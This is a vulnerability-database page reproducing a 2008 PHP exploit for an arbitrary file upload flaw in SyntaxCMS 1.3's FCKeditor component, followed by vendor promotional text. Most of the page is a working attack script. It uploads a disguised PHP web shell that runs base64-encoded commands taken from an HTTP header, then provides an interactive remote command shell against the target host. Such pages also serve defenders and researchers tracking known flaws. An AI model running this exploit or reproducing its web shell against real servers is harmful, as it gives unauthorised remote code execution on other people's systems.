Lucene search
K

SyntaxCMS <= 1.3 (fckeditor) Arbitrary File Upload Exploit

🗓️ 30 May 2008 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 12 Views

SyntaxCMS <= 1.3 (fckeditor) Arbitrary File Upload Exploit - Remote code execution vulnerabilit

Code

                                                &lt;?php
/*
&nbsp;--------------------------------------------------------------
&nbsp;Syntax&nbsp;CMS&nbsp;&lt;=&nbsp;&nbsp;1.3&nbsp;(fckeditor)&nbsp;Arbitrary&nbsp;File&nbsp;Upload&nbsp;Exploit
&nbsp;--------------------------------------------------------------
&nbsp;
&nbsp;Gr33ts&nbsp;t0&nbsp;:&nbsp;EgiX,&nbsp;ThE&nbsp;GeNeRal&nbsp;L0s3r&nbsp;,&nbsp;Houssamix&nbsp;,Str0ke&nbsp;&lt;==&gt;&nbsp;special&nbsp;THanks&nbsp;to&nbsp;EgiX&nbsp;For&nbsp;the&nbsp;Exploit&nbsp;Code
&nbsp;
&nbsp;author...:&nbsp;Stack
&nbsp;mail.....:&nbsp;Ev!L
&nbsp;descr:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;the&nbsp;web&nbsp;site&nbsp;change&nbsp;the&nbsp;name&nbsp;of&nbsp;path&nbsp;or&nbsp;path&nbsp;is&nbsp;/public/&nbsp;&nbsp;you&nbsp;can&nbsp;delet&nbsp;/public/&nbsp;in&nbsp;the&nbsp;exploit
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;in&nbsp;the&nbsp;line&nbsp;:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;POST&nbsp;{$path}public/fckeditor/editor/filemanager/upload/php/upload.php
&nbsp;[-]&nbsp;vulnerable&nbsp;code&nbsp;in&nbsp;/public/fckeditor/editor/filemanager/upload/php/upload.php
&nbsp;
&nbsp;41.&nbsp;//&nbsp;Get&nbsp;the&nbsp;posted&nbsp;file.
&nbsp;42.&nbsp;$oFile&nbsp;=&nbsp;$_FILES['NewFile']&nbsp;;
&nbsp;43.&nbsp;
&nbsp;44.&nbsp;//&nbsp;Get&nbsp;the&nbsp;uploaded&nbsp;file&nbsp;name&nbsp;and&nbsp;extension.
&nbsp;45.&nbsp;$sFileName&nbsp;=&nbsp;$oFile['name']&nbsp;;
&nbsp;46.&nbsp;$sOriginalFileName&nbsp;=&nbsp;$sFileName&nbsp;;
&nbsp;47.&nbsp;$sExtension&nbsp;=&nbsp;substr(&nbsp;$sFileName,&nbsp;(&nbsp;strrpos($sFileName,&nbsp;'.')&nbsp;+&nbsp;1&nbsp;)&nbsp;)&nbsp;;
&nbsp;48.&nbsp;$sExtension&nbsp;=&nbsp;strtolower(&nbsp;$sExtension&nbsp;)&nbsp;;
&nbsp;49.&nbsp;
&nbsp;50.&nbsp;//&nbsp;The&nbsp;the&nbsp;file&nbsp;type&nbsp;(from&nbsp;the&nbsp;QueryString,&nbsp;by&nbsp;default&nbsp;'File').
&nbsp;51.&nbsp;$sType&nbsp;=&nbsp;isset(&nbsp;$_GET['Type']&nbsp;)&nbsp;?&nbsp;$_GET['Type']&nbsp;:&nbsp;'File'&nbsp;;
&nbsp;52.&nbsp;
&nbsp;53.&nbsp;//&nbsp;Check&nbsp;if&nbsp;it&nbsp;is&nbsp;an&nbsp;allowed&nbsp;type.
&nbsp;54.&nbsp;if&nbsp;(&nbsp;!in_array(&nbsp;$sType,&nbsp;array('File','Image','Flash','Media')&nbsp;)&nbsp;)
&nbsp;55.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SendResults(&nbsp;1,&nbsp;'',&nbsp;'',&nbsp;'Invalid&nbsp;type&nbsp;specified'&nbsp;)&nbsp;;
&nbsp;56.&nbsp;
&nbsp;57.&nbsp;//&nbsp;Get&nbsp;the&nbsp;allowed&nbsp;and&nbsp;denied&nbsp;extensions&nbsp;arrays.
&nbsp;58.&nbsp;$arAllowed&nbsp;=&nbsp;$Config['AllowedExtensions'][$sType]&nbsp;;
&nbsp;59.&nbsp;$arDenied&nbsp;=&nbsp;$Config['DeniedExtensions'][$sType]&nbsp;;
&nbsp;60.&nbsp;
&nbsp;61.&nbsp;//&nbsp;Check&nbsp;if&nbsp;it&nbsp;is&nbsp;an&nbsp;allowed&nbsp;extension.
&nbsp;62.&nbsp;if&nbsp;(&nbsp;(&nbsp;count($arAllowed)&nbsp;&gt;&nbsp;0&nbsp;&amp;&amp;&nbsp;!in_array(&nbsp;$sExtension,&nbsp;$arAllowed&nbsp;)&nbsp;)&nbsp;||&nbsp;(&nbsp;count($arDenied)&nbsp;&gt;&nbsp;0&nbsp;&amp;&amp;&nbsp;in_array(&nbsp;$sExtension,&nbsp;$arDenied&nbsp;)&nbsp;)&nbsp;)
&nbsp;63.&nbsp;&nbsp;SendResults(&nbsp;'202'&nbsp;)&nbsp;;
&nbsp;64.&nbsp;
&nbsp;65.&nbsp;$sErrorNumber&nbsp;=&nbsp;'0'&nbsp;;
&nbsp;66.&nbsp;$sFileUrl&nbsp;&nbsp;=&nbsp;''&nbsp;;
&nbsp;67.&nbsp;
&nbsp;68.&nbsp;//&nbsp;Initializes&nbsp;the&nbsp;counter&nbsp;used&nbsp;to&nbsp;rename&nbsp;the&nbsp;file,&nbsp;if&nbsp;another&nbsp;one&nbsp;with&nbsp;the&nbsp;same&nbsp;name&nbsp;already&nbsp;exists.
&nbsp;69.&nbsp;$iCounter&nbsp;=&nbsp;0&nbsp;;
&nbsp;70.&nbsp;
&nbsp;71.&nbsp;//&nbsp;The&nbsp;the&nbsp;target&nbsp;directory.
&nbsp;72.&nbsp;if&nbsp;(&nbsp;isset(&nbsp;$Config['UserFilesAbsolutePath']&nbsp;)&nbsp;)
&nbsp;73.&nbsp;&nbsp;$sServerDir&nbsp;=&nbsp;$Config['UserFilesAbsolutePath']&nbsp;;
&nbsp;74.&nbsp;else
&nbsp;75.&nbsp;&nbsp;//$sServerDir&nbsp;=&nbsp;GetRootPath()&nbsp;.&nbsp;$Config[&quot;UserFilesPath&quot;]&nbsp;;
&nbsp;76.&nbsp;&nbsp;$sServerDir&nbsp;=&nbsp;$Config[&quot;UserFilesPath&quot;]&nbsp;;
&nbsp;77.&nbsp;
&nbsp;78.&nbsp;while&nbsp;(&nbsp;true&nbsp;)
&nbsp;79.&nbsp;{
&nbsp;80.&nbsp;&nbsp;//&nbsp;Compose&nbsp;the&nbsp;file&nbsp;path.
&nbsp;81.&nbsp;&nbsp;$sFilePath&nbsp;=&nbsp;$sServerDir&nbsp;.&nbsp;$sFileName&nbsp;;
&nbsp;82.&nbsp;
&nbsp;83.&nbsp;&nbsp;//&nbsp;If&nbsp;a&nbsp;file&nbsp;with&nbsp;that&nbsp;name&nbsp;already&nbsp;exists.
&nbsp;84.&nbsp;&nbsp;if&nbsp;(&nbsp;is_file(&nbsp;$sFilePath&nbsp;)&nbsp;)
&nbsp;85.&nbsp;&nbsp;{
&nbsp;86.&nbsp;&nbsp;&nbsp;$iCounter++&nbsp;;
&nbsp;87.&nbsp;&nbsp;&nbsp;$sFileName&nbsp;=&nbsp;RemoveExtension(&nbsp;$sOriginalFileName&nbsp;)&nbsp;.&nbsp;'('&nbsp;.&nbsp;$iCounter&nbsp;.&nbsp;').'&nbsp;.&nbsp;$sExtension&nbsp;;
&nbsp;88.&nbsp;&nbsp;&nbsp;$sErrorNumber&nbsp;=&nbsp;'201'&nbsp;;
&nbsp;89.&nbsp;&nbsp;}
&nbsp;90.&nbsp;&nbsp;else
&nbsp;91.&nbsp;&nbsp;{
&nbsp;92.&nbsp;&nbsp;&nbsp;move_uploaded_file(&nbsp;$oFile['tmp_name'],&nbsp;$sFilePath&nbsp;)&nbsp;;
&nbsp;93.&nbsp;
&nbsp;94.&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;is_file(&nbsp;$sFilePath&nbsp;)&nbsp;)
&nbsp;95.&nbsp;&nbsp;&nbsp;{
&nbsp;96.&nbsp;&nbsp;&nbsp;&nbsp;$oldumask&nbsp;=&nbsp;umask(0)&nbsp;;
&nbsp;97.&nbsp;&nbsp;&nbsp;&nbsp;chmod(&nbsp;$sFilePath,&nbsp;0777&nbsp;)&nbsp;;
&nbsp;98.&nbsp;&nbsp;&nbsp;&nbsp;umask(&nbsp;$oldumask&nbsp;)&nbsp;;
&nbsp;99.&nbsp;&nbsp;&nbsp;}
&nbsp;100.&nbsp;&nbsp;&nbsp;
&nbsp;101.&nbsp;&nbsp;&nbsp;$sFileUrl&nbsp;=&nbsp;$Config[&quot;UserFilesPath&quot;]&nbsp;.&nbsp;$sFileName&nbsp;;
&nbsp;102.&nbsp;
&nbsp;103.&nbsp;&nbsp;&nbsp;break&nbsp;;
&nbsp;
&nbsp;with&nbsp;a&nbsp;default&nbsp;configuration&nbsp;of&nbsp;this&nbsp;script,&nbsp;an&nbsp;attacker&nbsp;might&nbsp;be&nbsp;able&nbsp;to&nbsp;upload&nbsp;arbitrary&nbsp;files&nbsp;containing&nbsp;malicious&nbsp;PHP&nbsp;code&nbsp;
*/
error_reporting(0);
set_time_limit(0);
ini_set(&quot;default_socket_timeout&quot;,&nbsp;5);
function&nbsp;http_send($host,&nbsp;$packet)
{
&nbsp;$sock&nbsp;=&nbsp;fsockopen($host,&nbsp;80);
&nbsp;while&nbsp;(!$sock)
&nbsp;{
&nbsp;&nbsp;print&nbsp;&quot;\n[-]&nbsp;No&nbsp;response&nbsp;from&nbsp;{$host}:80&nbsp;Trying&nbsp;again...&quot;;
&nbsp;&nbsp;$sock&nbsp;=&nbsp;fsockopen($host,&nbsp;80);
&nbsp;}
&nbsp;fputs($sock,&nbsp;$packet);
&nbsp;while&nbsp;(!feof($sock))&nbsp;$resp&nbsp;.=&nbsp;fread($sock,&nbsp;1024);
&nbsp;fclose($sock);
&nbsp;return&nbsp;$resp;
}
print&nbsp;&quot;\n+------------------------------------------------------------+&quot;;
print&nbsp;&quot;\n|&nbsp;Syntax&nbsp;CMS&nbsp;&lt;=&nbsp;&nbsp;1.3&nbsp;Arbitrary&nbsp;File&nbsp;Upload&nbsp;Exploit&nbsp;by&nbsp;Stack&nbsp;&nbsp;|&quot;;
print&nbsp;&quot;\n+------------------------------------------------------------+\n&quot;;
if&nbsp;($argc&nbsp;&lt;&nbsp;2)
{
&nbsp;print&nbsp;&quot;\nUsage......:&nbsp;php&nbsp;$argv[0]&nbsp;host&nbsp;path&quot;;
&nbsp;print&nbsp;&quot;\nExample....:&nbsp;php&nbsp;$argv[0]&nbsp;localhost&nbsp;/Syntax/\n&quot;;
&nbsp;die();
}
$host&nbsp;=&nbsp;$argv[1];
$path&nbsp;=&nbsp;$argv[2];
$data&nbsp;&nbsp;=&nbsp;&quot;--12345\r\n&quot;;
$data&nbsp;.=&nbsp;&quot;Content-Disposition:&nbsp;form-data;&nbsp;name=\&quot;NewFile\&quot;;&nbsp;filename=\&quot;s.php.he.ll\&quot;\r\n&quot;;
$data&nbsp;.=&nbsp;&quot;Content-Type:&nbsp;application/octet-stream\r\n\r\n&quot;;
$data&nbsp;.=&nbsp;&quot;&lt;?php&nbsp;\${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${print(_code_)}&nbsp;?&gt;\n&quot;;
$data&nbsp;.=&nbsp;&quot;--12345--\r\n&quot;;
$packet&nbsp;&nbsp;=&nbsp;&quot;POST&nbsp;{$path}public/fckeditor/editor/filemanager/upload/php/upload.php&nbsp;HTTP/1.0\r\n&quot;;
$packet&nbsp;.=&nbsp;&quot;Host:&nbsp;{$host}\r\n&quot;;
$packet&nbsp;.=&nbsp;&quot;Content-Length:&nbsp;&quot;.strlen($data).&quot;\r\n&quot;;
$packet&nbsp;.=&nbsp;&quot;Content-Type:&nbsp;multipart/form-data;&nbsp;boundary=12345\r\n&quot;;
$packet&nbsp;.=&nbsp;&quot;Connection:&nbsp;close\r\n\r\n&quot;;
$packet&nbsp;.=&nbsp;$data;
preg_match(&quot;/OnUploadCompleted\((.*),\&quot;(.*)\&quot;,\&quot;(.*)\&quot;,/i&quot;,&nbsp;http_send($host,&nbsp;$packet),&nbsp;$html);
if&nbsp;(!in_array(intval($html[1]),&nbsp;array(0,&nbsp;201)))&nbsp;die(&quot;\n[-]&nbsp;Upload&nbsp;failed!&nbsp;(Error&nbsp;{$html[1]})\n&quot;);
else&nbsp;print&nbsp;&quot;\n[-]&nbsp;Shell&nbsp;uploaded&nbsp;to&nbsp;{$html[2]}...starting&nbsp;it!\n&quot;;
define(STDIN,&nbsp;fopen(&quot;php://stdin&quot;,&nbsp;&quot;r&quot;));
while(1)
{
&nbsp;print&nbsp;&quot;\nstack-shell#&nbsp;&quot;;
&nbsp;$cmd&nbsp;=&nbsp;trim(fgets(STDIN));
&nbsp;if&nbsp;($cmd&nbsp;!=&nbsp;&quot;exit&quot;)
&nbsp;{
&nbsp;&nbsp;$packet&nbsp;=&nbsp;&quot;GET&nbsp;{$path}datacenter/media/{$html[3]}&nbsp;HTTP/1.0\r\n&quot;;
&nbsp;&nbsp;$packet.=&nbsp;&quot;Host:&nbsp;{$host}\r\n&quot;;
&nbsp;&nbsp;$packet.=&nbsp;&quot;Cmd:&nbsp;&quot;.base64_encode($cmd).&quot;\r\n&quot;;
&nbsp;&nbsp;$packet.=&nbsp;&quot;Connection:&nbsp;close\r\n\r\n&quot;;
&nbsp;&nbsp;$output&nbsp;=&nbsp;http_send($host,&nbsp;$packet);
&nbsp;&nbsp;if&nbsp;(eregi(&quot;print&quot;,&nbsp;$output)&nbsp;||&nbsp;!eregi(&quot;_code_&quot;,&nbsp;$output))&nbsp;die(&quot;\n[-]&nbsp;Exploit&nbsp;failed...\n&quot;);
&nbsp;&nbsp;$shell&nbsp;=&nbsp;explode(&quot;_code_&quot;,&nbsp;$output);
&nbsp;&nbsp;print&nbsp;&quot;\n{$shell[1]}&quot;;
&nbsp;}
&nbsp;else&nbsp;break;
}
?&gt;
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

30 May 2008 00:00Current
7.1High risk
Vulners AI Score7.1
12